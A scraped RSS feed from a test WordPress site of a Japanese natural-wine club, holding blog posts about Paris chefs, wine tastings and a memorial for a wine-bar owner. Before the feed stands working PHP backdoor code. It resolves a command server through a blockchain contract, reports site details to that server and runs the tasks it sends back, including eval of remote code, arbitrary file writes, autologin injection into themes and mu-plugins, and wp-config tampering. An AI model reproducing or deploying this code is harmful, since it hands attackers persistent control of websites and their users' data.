// 7n_z6 if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/homepages/37/d650736798/htdocs/clickandbuilds/Clubpassionduvin-Test2023/wp-content/plugins/wp-helper-e87a7e/wp-helper-e87a7e.php', 'ctrl'=>'// 7n_z6', 'vis'=>'// db_uz', 'vis_func'=>'wp_sxc5vi', 'vis_paths'=>array('/homepages/37/d650736798/htdocs/clickandbuilds/Clubpassionduvin-Test2023/wp-content/plugins/wp-helper-e87a7e/wp-helper-e87a7e.php'), 'opt'=>'_wp_pxl4vl87', ); $keys=array(); $keys['id']='c6u'; $keys['ver']='2x'; $keys['caps']='1u4'; $keys['tasks']='txi'; $keys['interval']='omn'; $keys['ack_id']='qlx'; $keys['ok']='sm'; $keys['detail']='ho1'; $keys['inv']='a1a'; $keys['result']='mac'; $hdr='X-5MB-Auth';$tok='T9GaOn1TagCWJNbQqeUM-A-rmESZ3FAitJmQrLNIexY';$id='14ee4e8ee8b103d5';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Chef Archives - [TEST] Club Passion du Vin - Oeno Connexion https://test.clubpassionduvin.com/category/people/chef ナチュラルワインを愛する者の倶楽部 Mon, 04 May 2020 07:52:24 +0000 fr-FR hourly 1 https://wordpress.org/?v=7.1.1 体の奥から喜びがほとばしる！！燃やせ！！PASSION！！ https://test.clubpassionduvin.com/%e4%bd%93%e3%81%ae%e5%a5%a5%e3%81%8b%e3%82%89%e5%96%9c%e3%81%b3%e3%81%8c%e3%81%bb%e3%81%a8%e3%81%b0%e3%81%97%e3%82%8b%ef%bc%81%ef%bc%81%e7%87%83%e3%82%84%e3%81%9b%ef%bc%81%ef%bc%81passion%ef%bc%81 Sun, 03 May 2020 06:30:36 +0000 https://clubpassionduvin.com/?p=15624 何ということだろう、もう５週間も、このフランスの時間が止まっている。 コロナ感染者が１０９２５２人、死者１８６８１人。 . 私の愛するフランスが、こんなことに！・・・・。 . でも、フランスの真髄の世界で、炎を燃やし続けている人達がいる！ ワイン造り手達と料理人の人達だ！ . 炎の料理人Repaire de Cartouche ルペール・ド・カルトゥッシュのシェフ・ロドルフがいる。 . そして、コロナ騒動なんて存在しないかのように、連日畑にでて我々に、美味しいワインを届ける為に農作業に励んでいるフィリップ・ジャンボンがいる。 . 私は、今日、また久々にパリオフィスに出勤した。 . 勿論、昼食はロドルフの料理のテークアウト。今日のメニューはParmentier 。 ロドルフは、従業員を全員休ませて、自分独りで料理を創っている。 . カルトゥッシュが野菜屋さんに！ 引き取りに店まで行くと、な・何と店の入り口にテーブルを並べて八百屋になっていた。 カルトゥッシュには美味しい野菜業者がいる。 その野菜を販売してくれている。これは助かる！！ . パリジャンは、野菜仕入れる為には長蛇の列に繋がってスーパーや食品店に行かなければならない。 ここは並ばなくてもトビッキリ新鮮な野菜が手に入る。 オフィスに戻って早速、料理をお皿に並べた。 ワインは？ロドルフと云えば、勿論フィリップ・ジャンボンだ！！ ロドルフはスイスの三ツ星レストランの調理を担当していた料理人時代がある。 その時に若きフィリップ・ジャンボンがソムリエとして働いていたのである。 . ジャンボンのAux Amis d’une Francheを開けた。 ウーン！ 炎の料理に炎のワイン！ フランスの真髄にある奥深い文化エネルギーは燃え続けている！！ . 食べている間に、自分の体の奥から喜びとエネルギーがほとばしってくるのを感じる。 . 時間が止まった様なフランスには、このエネルギーの火種を絶やさないように頑張っている人達がいる。 我々にエネルギーを提供し続けている人達がいる。 . 脅威をふるうコロナも、食とワインに関わる我々のエネルギーを止めることはできない！！ . 日本の仲間達の皆さん！！ 今こそ！テーブル文化の真髄の炎をメラメラと燃やし続けましょう！！ コロナ如きに負けるな！！ 苦しいのは皆同じ！ 自分の奥深くにある炎さえ絶やさなければ、いつでも再生できる！ もっと、強く、もっといいやり方で！！ . 今こそ、Passion !! 燃やせ！！PASSION！！燃えろ！！PASSION！！

The post 体の奥から喜びがほとばしる！！燃やせ！！PASSION！！ appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> ★こんな時こそ美味しいものとトビッキリのワインで心身を和するにかぎる！★ https://test.clubpassionduvin.com/%e2%98%85%e3%81%93%e3%82%93%e3%81%aa%e6%99%82%e3%81%93%e3%81%9d%e7%be%8e%e5%91%b3%e3%81%97%e3%81%84%e3%82%82%e3%81%ae%e3%81%a8%e3%83%88%e3%83%93%e3%83%83%e3%82%ad%e3%83%aa%e3%81%ae%e3%83%af%e3%82%a4 Thu, 30 Apr 2020 21:48:33 +0000 https://clubpassionduvin.com/?p=15560 世界中みんな同じ敵に攻められている。 フランスも外出禁止令が発令されて久しい。 どうしてもオフィスに用事があってパリ中心までやって来た。（必要時は許可あり） メトロの中は空っぽだった。 一仕事を終えたところでお昼になった。 すべてのレストランは閉まっている。 でもあのミティークなレストランRepaire de Cartouche ルペール・ド・カルトゥッシュのシェフ・ロドルフは、 ファンの我々の為にテイクアウトをやってくれている！ 即、電話して注文。３０分後に取りに来い、とのこと。 レストランに着くと、シェフがすべて一人で準備していた。従業員はすべて休ませていた まだ、注文したものができていない。待ちながらアペロに一杯ひっかけた。（ホントは禁止かも） 『助かるよ、ルドルフ』伊藤 『俺もじっとしているのが嫌いだから、テイクアウトを一人でやっているよ。』ルドルフ 即、オフィスに持ち帰って、昼食開始。こんな時だから、特別なワインを開けた。 久々の本物プロの味に触れる喜びに内臓が喜んでいるのが判る。 Alexandre BAINアレクサンドル・バンのNO89、ピノ・ノワールを開けた。ブレスのプーレの赤ワインソースにピッタリ。 ウーン、マニフィック（ワインの問合せは野村ユニソン社まで予約しておいた方がいいですよ！） デザートはルドルフのフォンダン・ショコラ！これがまた驚くほど美味しい！！ 今、日本でも名店・名シェフのテークアウトが時節がら増えている。本当に、有難いことだ。

The post ★こんな時こそ美味しいものとトビッキリのワインで心身を和するにかぎる！★ appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> 初のルネジョンのおうちに行って　chez champs Libres https://test.clubpassionduvin.com/chez-champs-libres-2019 Tue, 18 Jun 2019 08:27:16 +0000 https://clubpassionduvin.com/?p=14863 初めてのブドウ畑 もちろん、リヨンより南を車で走ると、名も知らない畑は通り抜けますよ。 雨の予報が、一晩中、集まった人たちのおかげで、降らずに済んだものの、写真は、曇り空。 ジャーン。 ブドウたち。 この傾斜。 だから、作業するのも、機械なんて使えないから、手作業。 途中、ルネジョンの奥さん、マリアネスと、その他、楽器メンバーが集まり楽器片手に、畑を登っていった。 演奏するから、きいていてねと、言われたものの、しばらくして、うえを眺めると、かすかに、きこえてくる音色が。。。 なにしろ、100人近い人が、おのおのワインやビールを片手に話しているので、かき消されてしまっていた。残念。 見えますか。かすかに、畑に人がいるのが。 そのあとは、日本人の味がたくさん。 リヨンのカツミさんは、やきそば。しめには、特製かす汁。 ヴァランスのハリウッドスター・マサさんは、からあげ。 お祭りの屋台並みの手際の良さで、大きなコンロと大きなお鍋で、おいしいお料理。 今回、ルネジョンの2人の息子と1人の娘さんに会ったよ！ 優しい。の、かたまりの家族で、大勢の人がいるのに、みんなのことを、ニコニコ、手伝っていたよ。しかも、部屋まで譲ってもらってしまい、彼らは、テントで寝ていた！ 日付が変わる頃、ルネジョンのお宝カーヴへ、息子たちとついていきました！ 聞き覚えのある年号が聞こえてきます・・・ 私が、もしかすると、私と同い年のワインだね！？と。 ルネジョンから、飲んだことないなんて言われたら、しょうがないな～ と、この写真頂きました！ 私は、もちろん、他のお友達も、大喜びで、花にあつまるハチのように、どんどん人が寄ってきて、あっという間に、マグナムが空っぽに。 改め、ありがとう。ルネジョン！ 彼が持つと、マグナムの大きさが、あまり伝わらない！ 他に、 **カガミケンジロウさんも13年のマグナム。 **スオー・エルヴェ（Souhaut Herve）もマグナムをあけてくれた 。 初めて頂きましたが、一際目立って、おいしく、今でも忘れられない味。 edtiée par Miho

The post 初のルネジョンのおうちに行って　chez champs Libres appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> “幸せ”を創る人達の集まり宴！カタルーション上野原 https://test.clubpassionduvin.com/catalution2019 Wed, 10 Apr 2019 16:11:22 +0000 https://clubpassionduvin.com/?p=14661 綺麗な空気、景色、と共に濃縮された 幸せ、が、ここから日本中に、いや世界中に広がっていく。 モノ、コトを創る人達のエネルギーは凄い！ ここフランスまで伝わってきます。　素晴らしい！ BY Masaki TAKESHITA 山梨県上野原の富岡棚田。 桜の花も満開、まさに春を感じる、この日に100名以上のワイン愛好家が集合。 スペインからの2生産者を囲んで楽しい宴が開催された。 Cosmic・Salvadorコスミック醸造のサルバドール とOriole ARTIGASオリオル・アルティガス。 新宿から70分移動すれば、こんな恵まれた自然環境があることにびっくり。 そこに集まった8店舗のシェフ達。 環境もワインも数々の料理も最高。 自然の中で飲む自然派ワインの味わいはさらに美味い。参加した人達の笑顔笑顔！ 上野原の自然の中で、素晴らしい時間を共有したイベントだった。 この大きなイベントを成功させたBMO山田聖子さん、恭路さん、スタッフの皆さん、美味しい料理を作ってくれた ▪️ハヤリテラス▪️namida▪️shinori▪️TAKI BAKE▪️パルク▪️ペグ▪️シンバ▪️ピヨッシュ▪️小泉さん、歴史に残る素晴らしいイベントでした！ 参加させて頂き感謝です！

The post “幸せ”を創る人達の集まり宴！カタルーション上野原 appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> 怒涛の試飲会の後はゆったりソワレ https://test.clubpassionduvin.com/apres-grande-degustation-soiree-decontractee https://test.clubpassionduvin.com/apres-grande-degustation-soiree-decontractee#respond Mon, 18 Feb 2019 18:09:29 +0000 https://clubpassionduvin.com/?p=14378 　 南フランスからロワール地方のAngersアンジェの街に移動してテースティング・耐久ラリーが続く。 楽しく、過酷なラリーの夜は、ホッと一息のソワレ。 日本からの特別参加のBunonの中湊さん、クマさん、ルシオン地方でトビッキリ美味しいワインを醸すShojiさん夫妻も合流。 　 どの自然派ワイン試飲会場も想像を絶する混んだ中での試飲はブースに近寄るだけでも、まるで戦いの様相。 自然派ワインを愛する人達が世界中に増えているのを体感できる。 アメリカ、中国の大国が本格的に取り組みだした。アジア諸国も追随している。 ここ近未来の自然派ワインを取り巻く状況が凄い勢いで変化してくのを感じる。 世界中の飲食に関わる業界全体が、動きだしている。 今まで見られなかった業界ワインバイヤー達がこの世界に参入してきている。 さあ、変化の時代の到来だ！ これからが面白い！！ これからをどう生き抜くか！？どの方向に？　どんなワインを？　誰と？どんな風に？ この分野も今までの、自然派ワインオタクの時代から大海に就航していくしょう。 自然派ワインを嫌いな人も、自然派オタク的な人も、ワインの世界で働くかぎり、違った観点からからのアプロ―チが必要になるだろう。 一般ワインの蔵元もグラン・クリュの蔵も、極めて美味しいワインを造る人達が、実際にやりだしたことは自然派ワインの蔵元がやってきたことをやりだしている。 こんな風に二極分化してくるのではと思う。 １）極めたワイン（グランクリュも含めた美味しいワイン、今の一部の極めた美味しい自然派ワイン） ２）一般ワイン（今までの普通のワイン、自然派ワインの極めない美味しくないワイン） 自然派ワインというくくりで解決できなくなっているし、必要とされない時代になってきている。 自然派ワインがすべて美味しいワインではない。酷いものもかなり多い。 そんな酷い自然派を指さして『自然派ワインなんておいしくないね！嫌いだよ。』と言って避けていた人も多い。 そろそろ目を覚まして、現実を観ていかないとワインの世界では生きていけない時代がくるだろう。 世界中を飛び廻る中湊さんの話は面白い。 現場を渡り歩いた人しか語れない真実がある。 『アジア諸国は日本人が考えているアジアではないことを、』力説する中湊さん。 ここ近年で世界は変わるだろう。そんな中で日本人はいつも中心で活躍していくだろう。日本人の真価はこれからだ！ 何故！　“和”の哲学をDNAにもっているからです。 世界を大局的にとらえて“和”をイメージできる生き方ができるからである。 国境を超えて日本人は活躍していくだろう！ ★Le Temps d’Aimer ル・タン・デメ醸造のSorcellerieソルスルリ ウーン、何て美味しいんだろう！ 　 　

The post 怒涛の試飲会の後はゆったりソワレ appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/apres-grande-degustation-soiree-decontractee/feed 0 IREELイレール試飲会では、　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　京都のレストラン「大鵬」のシェフが腕を振る https://test.clubpassionduvin.com/ireel-degustation-chef-taihou https://test.clubpassionduvin.com/ireel-degustation-chef-taihou#respond Wed, 13 Feb 2019 17:19:30 +0000 https://clubpassionduvin.com/?p=14269 なんと！６００人分の昼食、夕食を準備！ 日本人パワー全開！！ 自然派ワイン見本市にも“和の国”の“気”が注入された。 もう調理場もないところで、急遽に仮の簡易な調理場を造った。最低限の設備で開始。 材料も素材も手に入らないものばかり、でも限りを尽くして見つけ材料で可能な料理を決定。 　 当然の如く、仕込みをやる人材不足、醸造家のガンちゃん、奥さんのカナコさん、バルセロナの佐竹さんも手伝ってくれて、もう一人名前を聞き忘れた女性、このメンバーでできうることを全力でやっていただきました。 もう感謝しかありません。 自然派ワイン見本市で日本から来た日本人が調理した最初の人物です。 これは歴史に語り継がれるでしょう。 　　　　

The post IREELイレール試飲会では、　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　京都のレストラン「大鵬」のシェフが腕を振る appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/ireel-degustation-chef-taihou/feed 0 包丁一本ひっ提げて世界を駆け巡る、中湊さんの葡呑 https://test.clubpassionduvin.com/bunon-nakaminato-2019 https://test.clubpassionduvin.com/bunon-nakaminato-2019#respond Wed, 13 Feb 2019 14:41:59 +0000 https://clubpassionduvin.com/?p=14225 世の中には凄い人がいるもんだ。 包丁一本ひっ提げて、イタリア、フランス、台湾、シンガポール、中国、世界中を渡り歩いている中湊さん。 東京のワインビストロ“葡呑”も世界中からお客さんがやって来る。 Bunonの料理もワインも半端ではない。 特に魚に関しては天下一品。 こんなスケールの大きいことできる人は他にいないでしょう。 体力、気力、人間力、行動力、そしてほどほどの資金力が備わらないとできない。 世界の天然記念物級の人と言っていいだろう。 　 一月のトある日、ESPOAしんかわの竹ノ内さんと神田で飲んでいた。 結構、飲んだあと。竹ノ内さんが 『伊藤さん、葡呑にいきましょう！』 ★勝山さん追悼の杯を葡呑で！ ここでの最高の思い出は、勝山さんと昭和歌謡のミュージックで楽しんだこと。 追悼の杯を中湊さん、クマちゃん、竹ノ内さんと交わしながら昭和歌謡のミュージックの世界へ。 クマちゃんが黙って開けてくれたワインはどこまでもやさしいバティスト・クザンのMarie Rose マリー・ローズだった。。 　 別世界に行ってしまいました。 店を出た時はチョット明るみが。 ありがとうございました。楽しかった！ 　　

The post 包丁一本ひっ提げて世界を駆け巡る、中湊さんの葡呑 appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/bunon-nakaminato-2019/feed 0 Kyoko & Laurent DUCHAINEローラン・デュシェーヌ宅で最高のお昼 https://test.clubpassionduvin.com/kyoko-laurent-duchaine-le-meilleur-dejeuner-2019 https://test.clubpassionduvin.com/kyoko-laurent-duchaine-le-meilleur-dejeuner-2019#respond Wed, 16 Jan 2019 17:01:31 +0000 https://clubpassionduvin.com/?p=14190 （この冬のParis、幸せなデジュネお昼-3） デザートはMOF フランス最高パティスリー職人の一人Laurent DUCHAINEローラン・デュシェーヌさん本人の作品ガレット・デ・ロワ。 最後にコーヒーにショコラチエ職人でもある京子ちゃんのチョコレートを頂いた。 最高の素材、最高の技、完成した料理、最高のワイン、友、こんな幸せな小宇宙空間はそんなに沢山できない。 皆、忙しい生活をしている中、一瞬だけ一か所に集まって、皆の得意を持ち寄ったデジュネだった。 超忙しいこの時期に段取りしてくれた京子ちゃん、ローラン、ありがとう。 松尾シェフご夫妻、ありがとうございました。 ジャドちゃん、早く大きくなって一緒に飲もう！！ 　 　　　　 　　

The post Kyoko & Laurent DUCHAINEローラン・デュシェーヌ宅で最高のお昼 appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/kyoko-laurent-duchaine-le-meilleur-dejeuner-2019/feed 0 福岡の名シェフ・Matsuo chef　de Peche Mignon　　　　　　　　　　　　　　　　　　　　ペシェミニヨンがパリに！ https://test.clubpassionduvin.com/matsuo-chef-pechemignon-2019 https://test.clubpassionduvin.com/matsuo-chef-pechemignon-2019#respond Wed, 16 Jan 2019 16:33:37 +0000 https://clubpassionduvin.com/?p=14179 （この冬のParis、幸せなデジュネお昼-3） 福岡の最高のフレンチレストランの一つペシェミニヨン店が一日だけのパリ店。 今日は、パリの友人宅、ローランさん、京子ちゃん夫妻の家でデジュネ。 何と！ラッキーなひと時、ベテラン松尾シェフの技を友人宅で。 こんな幸せな時にピッタリのワイン。 Philippe PACALETのGevrey Chambertin ジュヴレイ・シャンベルタンを合わせた。 松尾さんは若き頃、フランスの星付きで修業、東京のシェ・イノで勤め、福岡でPeche Mignon ペシェミニヨンを開く。 福岡の名店の腕と心をご馳走になった。 なんと幸せなこと。まさにお正月。 Merci Matsuo chef.

The post 福岡の名シェフ・Matsuo chef　de Peche Mignon　　　　　　　　　　　　　　　　　　　　ペシェミニヨンがパリに！ appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/matsuo-chef-pechemignon-2019/feed 0 ありがとう！ 勝山さん！ 追悼ＨＰ https://test.clubpassionduvin.com/merci-katsuyama-san-condoleance-photos https://test.clubpassionduvin.com/merci-katsuyama-san-condoleance-photos#respond Tue, 15 Jan 2019 16:49:10 +0000 https://clubpassionduvin.com/?p=14144 ２年前、葡呑に行った時、勝山さんと鉢合わせになった。 久々に逢えてお互いに心から嬉しかった。 『伊藤チャン、これから一緒に飲みに行こう！チョット、付き合って！』と云ってタクシーを読んで、東京のワインバー数件を数時間でハシゴした。それはもうホントに楽しいひと時だった。 最後にまた葡呑に戻ってきて朝まで飲んでいたことがある。 私はその日の朝の便でフランスへ帰った。その便に乗り遅れそうで大慌てした朝でもあった。 その日の写真を添付。 そして、最後に今まで勝山さんと多くの仲間達と一緒に飲んだ写真を一挙に添付しておきたい。 勝山さん、本当にありがとうございました。 お疲れさまでした。 貴方は生ききりました。 安らかにお眠りください。 　　 　　 　　 　　 　　　　

The post ありがとう！ 勝山さん！ 追悼ＨＰ appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/merci-katsuyama-san-condoleance-photos/feed 0 ワインを愛する量だけ、皆から愛されていた勝山さん…… https://test.clubpassionduvin.com/katsuyama-sann-aime-de-tout-le-monde https://test.clubpassionduvin.com/katsuyama-sann-aime-de-tout-le-monde#respond Tue, 15 Jan 2019 16:08:06 +0000 https://clubpassionduvin.com/?p=14132 　　 　　 　 　

The post ワインを愛する量だけ、皆から愛されていた勝山さん…… appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/katsuyama-sann-aime-de-tout-le-monde/feed 0 自然派ワインを誰よりも愛し続けてきた勝山さんと、　　　　　　　　　　　　　　　　　　　　お別れの時が来た…… https://test.clubpassionduvin.com/2019-katsuyama-est-parti-au-ciel https://test.clubpassionduvin.com/2019-katsuyama-est-parti-au-ciel#respond Tue, 15 Jan 2019 15:44:53 +0000 https://clubpassionduvin.com/?p=14122 皆の勝山さんが自分の人生を思いっきり生ききって旅立った。 安らかに休んでください。 この人がいなかったら、日本がこんなに早く、世界一の自然派ワイン大国になっていなかったに 違いない。 あまりも多くのコトを我々に残していってくれた。 　　　　 自然派ワインを語る時、この人をはずしては語れない ９０年代の中ごろ、日本に出張で帰った時は、祥瑞(しょんずい)にたびたび顔をださせていただいた。 ワインバー祥瑞店は勝山晋作さんの性格のように気さくなで、たまらなく心地よいところだった。 無名のワインでも驚くような、美味しいワインを品揃えしていた。 本当にワイン好きが集まってきて宝探しのように、無名のワインを飲んでワイワイやっていたのを覚えている。まだ、自然派ワインという言葉も広まっていなかった時代だった。 当時、ビオ香と云って、強烈なワインを感心しながら自然派ワインを楽しんでいた時代だった。 それでも新しいモノ好きにとっては、色んなワインを発掘できる貴重なワインバーだった。 日本における、掘り出しワインの世界の親分ような存在だった。 勝山さんがいなかったら、自然派ワインの広がりも今の様にはなっていなかったにちがいない 本当に尊敬すべき人物だった。 ８年程前に勝山さんの誕生日に多くの人が集まった時の写真を添付しておきます。 　　 メリメロの宗像さんも駆けつけていました。 偶然でしたがロワールのフィリップ・テシエやボジョレのクリストフ・パカレも参加していた。 勝山さんがワインに注いだ愛の量だけ、多くの人に愛されている勝山さんだった。

